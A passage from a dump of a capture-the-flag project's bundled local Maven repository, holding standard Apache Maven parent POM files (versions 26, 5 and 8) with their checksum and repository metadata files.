</plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-checkstyle-plugin</artifactId>\n          <version>2.13</version>\n          <configuration>\n            <configLocation>config/maven_checks.xml</configLocation>\n            <headerLocation>config/maven-header.txt</headerLocation>\n            <!-- workaround to avoid analysing generated content (Modello, plugin help mojo, ...) -->\n            <sourceDirectory>src/main/java</sourceDirectory>\n            <testSourceDirectory>src/test/java</testSourceDirectory>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>checkstyle-check</id>\n            <goals>\n              <goal>check</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>enforce-bytecode-version</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <enforceBytecodeVersion>\n                  <maxJdkVersion>${maven.compiler.target}</maxJdkVersion>\n                </enforceBytecodeVersion>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n          <execution>\n            <id>ban-known-bad-maven-versions</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>(,2.1.0),(2.1.0,2.2.0),(2.2.0,)</version>\n                  <message>Maven 2.1.0 and 2.2.0 produce incorrect GPG signatures and checksums respectively.</message>\n                </requireMavenVersion>\n                <requireMavenVersion>\n                  <version>(,3.0),[3.0.4,)</version>\n                  <message>Maven 3.0 through 3.0.3 inclusive do not pass correct settings.xml to Maven Release Plugin.</message>\n                </requireMavenVersion>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n        <dependencies>\n          <dependency>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>extra-enforcer-rules</artifactId>\n            <version>1.0-beta-3</version>\n          </dependency>\n        </dependencies>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>rat-check</id>\n            <goals>\n              <goal>check</goal>\n            </goals>\n            <!--\n                 The following configuration is needed otherwise \n                 a release source package can't be built without\n                 changing it.\n                 https://issues.apache.org/jira/browse/RAT-184\n            -->\n            <configuration>\n              <excludes>\n                <exclude>DEPENDENCIES</exclude>\n              </excludes>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>      \n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.7</version>\n        <configuration>\n          <dependencyLocationsEnabled>false</dependencyLocationsEnabled><!-- waiting for MPIR-267 -->\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>dependency-info</report>\n              <report>modules</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>3.1</version>\n            <configuration>\n              <targetJdk>${maven.compiler.source}</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n        <!-- plugin versions and configuration can be moved to pluginManagement when we don't target Maven 2 any more -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.7</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.17</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.13</version>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>checkstyle</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>3.1</version>\n            <configuration>\n              <targetJdk>${maven.compiler.source}</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.4</version>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>jxr</report>\n                  <report>test-jxr</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!-- Taglist Plugin must be executed after JXR Plugin -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <tagListOptions>\n                <tagClasses>\n                  <tagClass>\n                    <displayName>FIXME Work</displayName>\n                    <tags>\n                      <tag>\n                        <matchString>fixme</matchString>\n                        <matchType>ignoreCase</matchType>\n                      </tag>\n                      <tag>\n                        <matchString>@fixme</matchString>\n                        <matchType>ignoreCase</matchType>\n                      </tag>\n                    </tags>\n                  </tagClass>\n                  <tagClass>\n                    <displayName>Todo Work</displayName>\n                    <tags>\n                      <tag>\n                        <matchString>todo</matchString>\n                        <matchType>ignoreCase</matchType>\n                      </tag>\n                      <tag>\n                        <matchString>@todo</matchString>\n                        <matchType>ignoreCase</matchType>\n                      </tag>\n                    </tags>\n                  </tagClass>\n                  <tagClass>\n                    <displayName>Deprecated Work</displayName>\n                    <tags>\n                      <tag>\n                        <matchString>@deprecated</matchString>\n                        <matchType>ignoreCase</matchType>\n                      </tag>\n                    </tags>\n                  </tagClass>\n                </tagClasses>\n              </tagListOptions>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.9.1</version>\n            <configuration>\n              <notimestamp>true</notimestamp>\n              <quiet>true</quiet>\n              <links>\n                <link>http://commons.apache.org/proper/commons-collections/javadocs/api-release</link>\n                <link>http://junit.org/javadoc/4.10/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n              <detectLinks>true</detectLinks>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.apache.maven.plugin-tools</groupId>\n                  <artifactId>maven-plugin-tools-javadoc</artifactId>\n                  <version>${mavenPluginToolsVersion}</version>\n                </tagletArtifact>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>findbugs-maven-plugin</artifactId>\n            <version>2.5.5</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.sonar-plugins</groupId>\n            <artifactId>maven-report</artifactId>\n            <version>0.1</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/26/maven-parent-26.pom.sha1",
    "content": "c33a248bd35b9d6b6fbcbe7061a30bb9d422dc42"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:23 CST 2018\nmaven-parent-5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/5/maven-parent-5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>3</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>5</version>\n  <packaging>pom</packaging>\n  <name>Apache Maven</name>\n  <description>\n    Maven is a software project management and comprehension tool. Based on the concept of a project object model\n    (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.\n  </description>\n  <url>http://maven.apache.org/</url>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MPA</url>\n  </issueManagement>\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://maven.zones.apache.org/continuum</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2002</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <post>issues@maven.apache.org</post>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <post>notifications@maven.apache.org</post>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@mergere.com</email>\n      <organization>Mergere</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Heritier</name>\n      <email>aheritier@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n\n  </developers>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>        \n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-4</version>          \n          <configuration>\n            <!-- This element will be overriden by children -->\n            <tagBase>https://svn.apache.org/repos/asf/maven/pom/tags</tagBase>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Prelease</arguments>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-checkstyle-plugin/src/main/resources/config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <links>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://jakarta.apache.org/commons/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://jakarta.apache.org/commons/dbcp/apidocs/</link>\n                <link>http://jakarta.apache.org/commons/fileupload/apidocs/</link>\n                <link>http://jakarta.apache.org/commons/httpclient/apidocs/</link>\n                <link>http://jakarta.apache.org/commons/logging/apidocs/</link>\n                <link>http://jakarta.apache.org/commons/pool/apidocs/</link>\n                <link>http://www.junit.org/junit/javadoc/</link>\n                <link>http://logging.apache.org/log4j/docs/api/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://jakarta.apache.org/velocity/api/</link>\n              </links>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>    \n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <version>1.0-alpha-1</version>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <version>2.3</version>\n            <configuration>\n              <altDeploymentRepository>${deploy.altRepository}</altDeploymentRepository>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <!-- We want to package up license resources in the JARs produced -->\n          <plugin>\n            <artifactId>maven-remote-resources-plugin</artifactId>\n            <version>1.0-alpha-1</version>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>process</goal>\n                </goals>\n                <configuration>\n                  <resourceBundles>\n                    <resourceBundle>org.apache:apache-jar-resource-bundle:1.0</resourceBundle>\n                  </resourceBundles>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <version>2.0.2</version>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.2</version>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>          \n        </plugins>\n      </build>\n    </profile>                     \n  </profiles>\n\n  <scm>\n    <connection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-5</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-5</developerConnection>\n    <url>https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-5</url>\n  </scm>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/5/maven-parent-5.pom.sha1",
    "content": "5c1ab38decaca1ccd08294aeab135047ebbae00d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:09 CST 2018\nmaven-parent-8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/8/maven-parent-8.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>8</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://maven.zones.apache.org/continuum</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n\n  <inceptionYear>2002</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <distributionManagement>\n    <repository>\n      <id>maven.staging</id>\n      <url>scp://people.apache.org/www/people.apache.org/builds/maven/${project.version}/staging-repo</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <build>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.3</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n          <configuration>\n            <!-- This element will be overriden by children -->\n            <tagBase>https://svn.apache.org/repos/asf/maven/pom/tags</tagBase>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Prelease</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0-beta-2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-6</version>\n        </plugin>\n        <plugin>\n          